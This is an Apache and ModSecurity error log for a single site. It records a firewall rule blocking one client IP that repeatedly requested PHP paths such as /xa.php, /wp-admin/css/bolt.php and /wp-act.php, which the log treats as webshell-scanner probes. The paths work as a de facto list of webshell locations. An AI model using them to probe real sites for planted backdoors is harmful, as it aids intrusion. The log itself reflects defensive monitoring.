[Sat Apr 25 22:15:11.602733 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:29973] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aezMb_g-28TY8_YLtUdN8gAAAQw"]
[Sat Apr 25 22:15:12.397290 2026] [:error] [pid 3212:tid 3218] [client 20.215.66.169:43646] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aezMcPg-28TY8_YLtUdN9QAAAQQ"]
[Sat Apr 25 22:15:13.429099 2026] [:error] [pid 3212:tid 3215] [client 20.215.66.169:31011] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aezMcfg-28TY8_YLtUdN-AAAAQE"]
[Sat Apr 25 22:15:14.316907 2026] [:error] [pid 3212:tid 3217] [client 20.215.66.169:30777] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aezMcvg-28TY8_YLtUdN_wAAAQM"]
[Sat Apr 25 22:15:15.445931 2026] [:error] [pid 59985:tid 60006] [client 20.215.66.169:30988] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aezMcwF_zDvEhKvyTH7AgAAAABM"]
[Sat Apr 25 22:15:16.870906 2026] [:error] [pid 3212:tid 3216] [client 20.215.66.169:52912] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aezMdPg-28TY8_YLtUdOAQAAAQI"]
[Sat Apr 25 22:15:18.258727 2026] [:error] [pid 3212:tid 3237] [client 20.215.66.169:55508] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aezMdvg-28TY8_YLtUdOCAAAARc"]
[Sat Apr 25 22:15:19.854512 2026] [:error] [pid 3212:tid 3230] [client 20.215.66.169:64851] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aezMd_g-28TY8_YLtUdODwAAARA"]
[Sat Apr 25 22:15:21.188444 2026] [:error] [pid 3212:tid 3224] [client 20.215.66.169:29974] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aezMefg-28TY8_YLtUdOTQAAAQo"]
[Sat Apr 25 22:15:22.247776 2026] [:error] [pid 3212:tid 3238] [client 20.215.66.169:53020] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aezMevg-28TY8_YLtUdOVAAAARg"]
[Sat Apr 25 22:15:24.341284 2026] [:error] [pid 59897:tid 59931] [client 20.215.66.169:55544] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aezMfPBrrkdzpEbmK4eRQQAAAIQ"]
[Sat Apr 25 22:15:27.884630 2026] [:error] [pid 59985:tid 60001] [client 20.215.66.169:30993] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aezMfwF_zDvEhKvyTH7AlAAAAA4"]
[Sat Apr 25 22:15:29.057720 2026] [:error] [pid 59897:tid 59942] [client 20.215.66.169:64894] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aezMgfBrrkdzpEbmK4eRRQAAAI8"]
[Sat Apr 25 22:15:30.744607 2026] [:error] [pid 3212:tid 3237] [client 20.215.66.169:29975] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aezMgvg-28TY8_YLtUdOfgAAARc"]
[Sat Apr 25 22:15:33.398246 2026] [:error] [pid 3212:tid 3231] [client 20.215.66.169:52902] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aezMhfg-28TY8_YLtUdOjgAAARE"]
[Sat Apr 25 22:15:35.509588 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:55535] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aezMh_g-28TY8_YLtUdOmQAAARI"]
[Sat Apr 25 22:15:37.505248 2026] [:error] [pid 3212:tid 3220] [client 20.215.66.169:29962] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aezMifg-28TY8_YLtUdOowAAAQY"]
[Sat Apr 25 22:15:39.640007 2026] [:error] [pid 59985:tid 59988] [client 20.215.66.169:42151] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aezMiwF_zDvEhKvyTH7ApAAAAAE"]
[Sat Apr 25 22:15:40.926842 2026] [:error] [pid 59985:tid 60003] [client 20.215.66.169:43627] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aezMjAF_zDvEhKvyTH7AqgAAABA"]
[Sat Apr 25 22:15:41.755379 2026] [:error] [pid 59985:tid 60004] [client 20.215.66.169:29992] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aezMjQF_zDvEhKvyTH7ArgAAABE"]
[Sat Apr 25 22:15:43.872029 2026] [:error] [pid 59985:tid 60010] [client 20.215.66.169:53010] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aezMjwF_zDvEhKvyTH7AsAAAABc"]
[Sat Apr 25 22:15:46.617650 2026] [:error] [pid 59896:tid 59910] [client 20.215.66.169:52929] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aezMkrLLzhtkd-OXUgAINwAAAEo"]
[Sat Apr 25 22:15:49.987750 2026] [:error] [pid 59985:tid 59991] [client 20.215.66.169:30999] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aezMlQF_zDvEhKvyTH7AtgAAAAQ"]
[Sat Apr 25 22:15:50.991048 2026] [:error] [pid 59985:tid 59997] [client 20.215.66.169:43634] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aezMlgF_zDvEhKvyTH7AuQAAAAo"]
[Sat Apr 25 22:15:55.232617 2026] [:error] [pid 3212:tid 3219] [client 20.215.66.169:45281] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aezMm_g-28TY8_YLtUdOtgAAAQU"]
[Sat Apr 25 22:15:56.683037 2026] [:error] [pid 59985:tid 60000] [client 20.215.66.169:53038] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aezMnAF_zDvEhKvyTH7AvwAAAA0"]
[Sat Apr 25 22:16:08.333100 2026] [:error] [pid 59985:tid 59987] [client 20.215.66.169:42159] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aezMqAF_zDvEhKvyTH7A4wAAAAA"]
[Sat Apr 25 22:16:10.259076 2026] [:error] [pid 59985:tid 59990] [client 20.215.66.169:52907] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aezMqgF_zDvEhKvyTH7A5AAAAAM"]
[Sat Apr 25 22:16:11.807789 2026] [:error] [pid 59985:tid 59994] [client 20.215.66.169:31019] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aezMqwF_zDvEhKvyTH7A5gAAAAc"]
[Sat Apr 25 22:16:13.227074 2026] [:error] [pid 3212:tid 3224] [client 20.215.66.169:53039] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aezMrfg-28TY8_YLtUdO1AAAAQo"]
[Sat Apr 25 22:16:15.417992 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:42656] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aezMr_g-28TY8_YLtUdO2wAAAQw"]
[Sat Apr 25 22:16:16.157408 2026] [:error] [pid 59896:tid 59906] [client 20.215.66.169:53051] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aezMsLLLzhtkd-OXUgAIbAAAAEY"]
[Sat Apr 25 22:16:17.642298 2026] [:error] [pid 59896:tid 59917] [client 20.215.66.169:30997] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aezMsbLLzhtkd-OXUgAIbQAAAFE"]
[Sat Apr 25 22:16:18.326183 2026] [:error] [pid 59985:tid 60003] [client 20.215.66.169:52904] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aezMsgF_zDvEhKvyTH7A5wAAABA"]
[Sat Apr 25 22:16:21.713115 2026] [:error] [pid 59896:tid 59907] [client 20.215.66.169:30983] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aezMtbLLzhtkd-OXUgAIcQAAAEc"]
[Sat Apr 25 22:16:23.608661 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:31007] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aezMt_g-28TY8_YLtUdO7gAAARI"]
[Sat Apr 25 22:16:26.405989 2026] [:error] [pid 59897:tid 59936] [client 20.215.66.169:29976] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aezMuvBrrkdzpEbmK4eRXgAAAIk"]
[Sat Apr 25 22:16:27.646995 2026] [:error] [pid 59985:tid 60010] [client 20.215.66.169:30979] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aezMuwF_zDvEhKvyTH7A7AAAABc"]
[Sat Apr 25 22:16:29.384010 2026] [:error] [pid 59896:tid 59901] [client 20.215.66.169:43622] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aezMvbLLzhtkd-OXUgAIfAAAAEE"]
[Sat Apr 25 22:16:30.942189 2026] [:error] [pid 3212:tid 3217] [client 20.215.66.169:29956] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aezMvvg-28TY8_YLtUdO-AAAAQM"]
[Sat Apr 25 22:16:31.802530 2026] [:error] [pid 59896:tid 59900] [client 20.215.66.169:55525] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aezMv7LLzhtkd-OXUgAIgAAAAEA"]
[Sat Apr 25 22:16:32.527834 2026] [:error] [pid 3212:tid 3236] [client 20.215.66.169:53040] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aezMwPg-28TY8_YLtUdO-wAAARY"]
[Sat Apr 25 22:16:33.660976 2026] [:error] [pid 59985:tid 60000] [client 20.215.66.169:52958] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aezMwQF_zDvEhKvyTH7A8QAAAA0"]
[Sat Apr 25 22:16:35.228357 2026] [:error] [pid 59985:tid 59998] [client 20.215.66.169:64858] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aezMwwF_zDvEhKvyTH7A9gAAAAs"]
[Sat Apr 25 22:16:40.608819 2026] [:error] [pid 3212:tid 3227] [client 20.215.66.169:53032] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aezMyPg-28TY8_YLtUdPCQAAAQ0"]
[Sat Apr 25 22:16:41.252747 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:31017] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aezMyfg-28TY8_YLtUdPDAAAARI"]
[Sat Apr 25 22:16:42.241584 2026] [:error] [pid 59898:tid 59974] [client 20.215.66.169:30005] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aezMyh-4vImxb0kbdze1rQAAANQ"]
[Sat Apr 25 22:16:45.792113 2026] [:error] [pid 59896:tid 59900] [client 20.215.66.169:44927] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aezMzbLLzhtkd-OXUgAIjwAAAEA"]
[Sat Apr 25 22:16:46.709933 2026] [:error] [pid 59985:tid 60011] [client 20.215.66.169:55498] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aezMzgF_zDvEhKvyTH7A-wAAABg"]
[Sat Apr 25 22:16:49.374572 2026] [:error] [pid 59896:tid 59915] [client 20.215.66.169:52898] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aezM0bLLzhtkd-OXUgAIkQAAAE8"]
[Sat Apr 25 22:16:51.132682 2026] [:error] [pid 59896:tid 59911] [client 20.215.66.169:30014] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aezM07LLzhtkd-OXUgAIkwAAAEs"]
[Sat Apr 25 22:16:52.938071 2026] [:error] [pid 59897:tid 59937] [client 20.215.66.169:42116] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aezM1PBrrkdzpEbmK4eRdQAAAIo"]
[Sat Apr 25 22:16:53.955709 2026] [:error] [pid 3212:tid 3216] [client 20.215.66.169:45286] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aezM1fg-28TY8_YLtUdPKgAAAQI"]
[Sat Apr 25 22:16:55.089281 2026] [:error] [pid 59897:tid 59935] [client 20.215.66.169:29960] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aezM1_BrrkdzpEbmK4eReAAAAIg"]
[Sat Apr 25 22:16:55.933462 2026] [:error] [pid 59898:tid 59958] [client 20.215.66.169:53011] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aezM1x-4vImxb0kbdze1tAAAAMQ"]
[Sat Apr 25 22:16:56.772201 2026] [:error] [pid 59897:tid 59936] [client 20.215.66.169:55506] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aezM2PBrrkdzpEbmK4eRfQAAAIk"]
